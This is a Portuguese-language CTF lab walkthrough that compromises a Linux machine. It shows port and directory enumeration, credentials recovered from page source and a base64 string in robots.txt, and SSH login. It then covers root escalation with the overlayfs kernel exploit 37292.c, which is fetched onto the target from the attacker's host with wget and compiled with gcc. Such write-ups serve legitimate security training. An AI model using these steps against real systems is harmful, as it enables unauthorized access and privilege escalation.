English version available here
🐧- Linux
Sobre o laboratório
"Utilize técnicas de enumeração e enumeração web para identificar vulnerabilidades. Aplique estratégias de escalonamento de privilégios e explore métodos de exploração de kernel para elevar seu acesso. Este lab foi desenvolvido para tirar proveito das suas habilidades em exploração de vulnerabilidades."
Descrição do laboratóio
"Neste lab, os atacantes exploram credenciais fracas expostas através de uma aplicação web para obter acesso SSH ao sistema. Assim que o acesso inicial (foothold) é estabelecido, o escalonamento de privilégios local é alcançado explorando uma versão vulnerável do kernel Linux (3.13.0–32-generic) utilizando o exploit overlayfs. Este lab destaca a importância do gerenciamento seguro de senhas e de manter os sistemas atualizados para evitar exploits de kernel conhecidos."

Começando com o nmap e descoberta de portas abertas
Comando utilizado: nmap -p- -sS -sV — min-rate=10000 -vv -n -Pn <IP>

Com o resultado do scan, notamos que existem duas portas abertas:
- 22 SSH
- 80 HTTP
Acessando o IP na página WEB
Ao acessar o IP do laboratório (http://192.168.X.X) nos deparamos com a seguinte página:

Temos uma mensagem do criador da página nos incentivando a tentar algo a mais.
You should try something more!
Analisando o código-fone da página temos uma primeira pista. Em texto claro podemos ver uma mensagem deixada no fim:
username:itsskv

Ainda com a mentalidade de "tentar algo a mais", precisamos encontrar diretórios na nossa página web alvo. Por isso podemos usar o gobuster para fazer esse trabalho para nós.
Comando utilizado: gobuster dir -u http://192.168.X.X -w /usr/share/wordlists/dirb/common.txt

Em laranja temos cinco status code 403, que significa que o servidor reconhece que o arquivo existe, mas está configurado para não permitir que ninguém o acesse externamente. Por outro lado, e você deve ficar feliz com isso, temos cinco status code 200, que significa que o arquivo existe e que você tem permissão para ler. Esse deve ser o seu foco.
Os diretórios /hacker, /index e index.html não são muito úteis para nós porque apenas redirecionam para a página principal ou mostrarão o gif da página. O /robots e/ou /robots.txt é o que precisamos acessar para encontrar o algo a mais.

Nos deparamos com essa mensagem quando acessamos o /robots. Claramente ela está codificada e precisamos decodificar para que nos seja revelada a mensagem real. Existem muitas ferramentas que podem nos ajudar com isso. Eu frequentemente uso o terminal para decodificar um texto. Vou mostrar via terminal e em um site e você pode escolher a melhor maneira para você.
No terminal, digite: echo "Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=" | base64 -d

Ou no site cyberchef:

No cyberchef, basta você colar o texto no Input e no lado esquerdo, onde terão muitas opções, clique duas vezes em Magic e deixe a magia acontecer. O texto nos revelou a seguinte mensagem: cybersploit{youtube.com/c/cybersploit}
Agora podemos usar as credenciais que temos e tentar uma conexão ssh com o alvo.
Conexão SSH e Exploração
Credenciais obtidas
Username: itsskv
Senha: cybersploit{youtube.com/c/cybersploit}

Ta lá! Conseguimos o acesso.

Escalação de privilégios
Com a primeira flag obtida. Agora precisamos escalar privilégios para nos tornarmos root e conseguir a flag proof.txt que é o objetivo final do laboratório. Como foi nos informado no início, a vulnerabilidade a ser explorada se chama overlayfs. Você pode encontrar ela na página Exploit-DB ou como eu prefiro fazer, via terminal através do searchsploit.
Exploit-DB

searchsploit

Para continuar com nosso processo de escalar privilégios, será preciso baixar o arquivo para a sua máquina host, você pode fazer isso com o comando: searchsploit -m [Número do arquivo e extensão]

Lendo o que o arquivo baixado faz, podemos perceber como ele é executado e os passos que precisamos seguir para obter o root:

Agora muita atenção, se você está começando agora a explorar as máquinas e se aventurando em obter flags por aí, é muito importante que você entenda o porquê e como as coisas acontecem. O arquivo 37292.c está nesse momento no seu host, mas você precisa fazer com que a máquina do seu alvo execute ele. O que você faz para transferir o arquivo para ele?
Nesse momento você precisar criar um vetor de transferência de arquivos. No seu terminal, digite: python3 -m http.server 8080
python3 -m http.server: esse comando carrega o módulo de servidor HTTP do Python
8080: aqui você define a porta onde o servidor vai rodar (poderia ser 80, 443, 8000, etc.)

No terminal do alvo, você vai digitar: wget http://192.168.X.X:8080/37292.c. Lembre-se que o IP que você vai colocar ali é o IP do seu host porque é no seu host que o arquivo está hospedado.

Agora eu vou mostrar nas imagens abaixo o processo até o root. Eu basicamente segui o que dizia no exploit. É importante dizer que o Linux não executa o arquivo .c diretamente. Você precisa transformar ele em um arquivo binário executável. Por isso quando nós lemos antes o arquivo, vimos uma linha que continha gcc. O GCC (GNU Compiler Collection) é o compilar que vamos usar.
No seu terminal do alvo, digite: gcc 37292.c -o (escolha um nome)

Espero ter ajudado você até aqui. Continue aprendendo, questionando e hackeando por aí!